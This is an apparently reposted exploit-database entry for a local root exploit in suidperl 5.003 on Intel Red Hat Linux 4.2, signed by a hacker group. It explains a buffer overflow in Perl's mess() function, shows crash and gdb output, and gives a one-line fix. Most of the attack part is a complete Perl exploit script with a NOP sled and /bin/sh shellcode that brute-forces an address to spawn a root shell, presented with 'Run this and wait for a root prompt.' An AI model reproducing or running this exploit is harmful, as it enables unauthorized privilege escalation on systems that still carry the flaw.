ZeroBox Vulnerability Database

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#!/usr/bin/perl
# Author: Thehacker
# Site: [ [ :GODHACK.ORG : ] ]
# Software Link: http://www.perl.com/download.csp
# Version: perl-5.003-9
# Tested on: Red Hat Linux 4.2 on Intel (with perl-5.003-8 and -9)
# CVE :
# Code :

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Any user can gain root privileges on a Intel Linux system with suidperl
5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl
security patches" have been applied. Non-Intel / non-Linux platforms may
be affected as well. It is still possible to overwrite a buffer a get
root on Linux via sperl 5.003.

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I have tested this on two Red Hat 4.2 systems running on Intel (with
perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having
sperl5.003 is affected.

Other platforms may be affected too.

Perl 5.004 is NOT VULNERABLE.
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Quick fix:

chmod u-s /usr/bin/sperl5.003 (what else?)

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Details:

There is a nasty bug in mess() (util.c): it is possible to overflow
its buffer (via sprintf()); mess() tries to detect this situation but
fails to handle the problem properly:

[excerpt from util.c]

     if (s – s_start >= sizeof(buf)) { /* Ooops! */
         if (usermess)
             fputs(SvPVX(tmpstr), stderr);
         else
             fputs(buf, stderr);
         fputs("panic: message overflow – memory corrupted!\n",stderr);
         my_exit(1);
     }

It does not abort immediately. It prints out an error message and calls
my_exit(1), and this is very bad.

$ perl -v
This is perl, version 5.003 with EMBED
         Locally applied patches:
           SUIDBUF – Buffer overflow fixes for suidperl security

         built under linux at Apr 22 1997 10:04:46
         + two suidperl security patches

$ perl `perl -e "print ‘A’ x 3000"`
Can’t open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…
…AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow – memory corrupted!

$ Can’t open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…
…AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow – memory corrupted!
Segmentation fault (core dumped)

$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
  under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc…
(no debugging symbols found)…
Core was generated by `perl AAAAA…’.
Program terminated with signal 11, Segmentation fault.
Reading symbols …
…
#0 0x41414141 in ?? ()
(gdb)

Voila! 0x41414141 == "AAAA"

The variable called top_env has been overwritten. In fact, it is jmp_buf
and Perl calls longjmp() with it somewhere in my_exit().

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Run this and wait for a root prompt:

[exploit code]

#!/usr/bin/perl

# yes, this suidperl exploit is in perl, isn’t it wonderful?

$| = 1;

$shellcode =
   "\x90" x 512 . # nops
   "\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
   # "standard shellcode" by Aleph One
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

# start and end of .data
# adjust this using /proc/*/maps

$databot = 0x080a2000;
$datatop = 0x080ab000;

# trial and error loop

$address = $databot + 4;

while ($address < $datatop) {
   $smash_me =
     $shellcode . (‘A’ x (2052 – length($shellcode))) .
     (pack("l", $address) x 1000) . (‘B’ x 1000);
   $pid = fork();
   if (!$pid) {
     exec(‘/usr/bin/sperl5.003’, $smash_me);
   }
   else {
     wait;
     if ($? == 0) {
       printf("THE MAGIC ADDRESS WAS %08x\n", $address);
       exit;
     }
   }
   $address += 128;
}

[end of exploit code]

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— Thehacker & Bl4ck Hat Team
— Gretz : TR-shark | KOmandO | SoyletmeZ | HEXB00T3R & iSKORPiTX
— Tnx all! //r0073r,str0k3,inj3ct0r,exploit-db,GODHACK

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    Its not a game
       It’s Our Job

—–(-GODHACK.ORG-)——